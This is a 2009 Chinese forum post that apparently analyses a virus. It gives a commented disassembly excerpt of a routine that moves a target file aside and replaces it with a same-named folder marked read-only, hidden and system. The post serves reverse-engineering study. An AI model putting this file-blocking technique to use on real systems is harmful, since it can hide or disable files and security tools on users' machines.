原帖由 tjcum210210 于 2009-1-13 11:28:00 发表
汗,看见病毒名了是不是。。。。
:kaka6:
.text:10002903 lea eax, [ebp+FileName]
.text:10002909 push eax ; lpFileName
.text:1000290A call ds:GetFileAttributesA ; 查找那些文件名的文件并获得他们的属性
.text:10002910 test al, FILE_ATTRIBUTE_DIRECTORY ; 如果是文件夹
.text:10002912 jnz short loc_10002926
.text:10002914 cmp eax, 0FFFFFFFFh ; 如果文件不存在
.text:10002917 jz short loc_10002926
.text:10002919 lea eax, [ebp+FileName]
.text:1000291F push eax ; lpExistingFileName
.text:10002920 call MoveFile
.text:10002925 pop ecx
.text:10002926
.text:10002926 loc_10002926: ; CODE XREF: oleadp_4+4Dj
.text:10002926 ; oleadp_4+52j
.text:10002926 push 0 ; lpSecurityAttributes
.text:10002928 lea eax, [ebp+FileName]
.text:1000292E push eax ; lpPathName
.text:1000292F call ds:CreateDirectoryA ; 创建一个同名文件夹
.text:10002935 test eax, eax
.text:10002937 jz short loc_10002948
.text:10002939 push FILE_ATTRIBUTE_READONLY or FILE_ATTRIBUTE_HIDDEN or FILE_ATTRIBUTE_SYSTEM ; dwFileAttributes
.text:1000293B lea eax, [ebp+FileName]
.text:10002941 push eax ; lpFileName
.text:10002942 call ds:SetFileAttributesA ; 设置文件夹属性为只读隐藏系统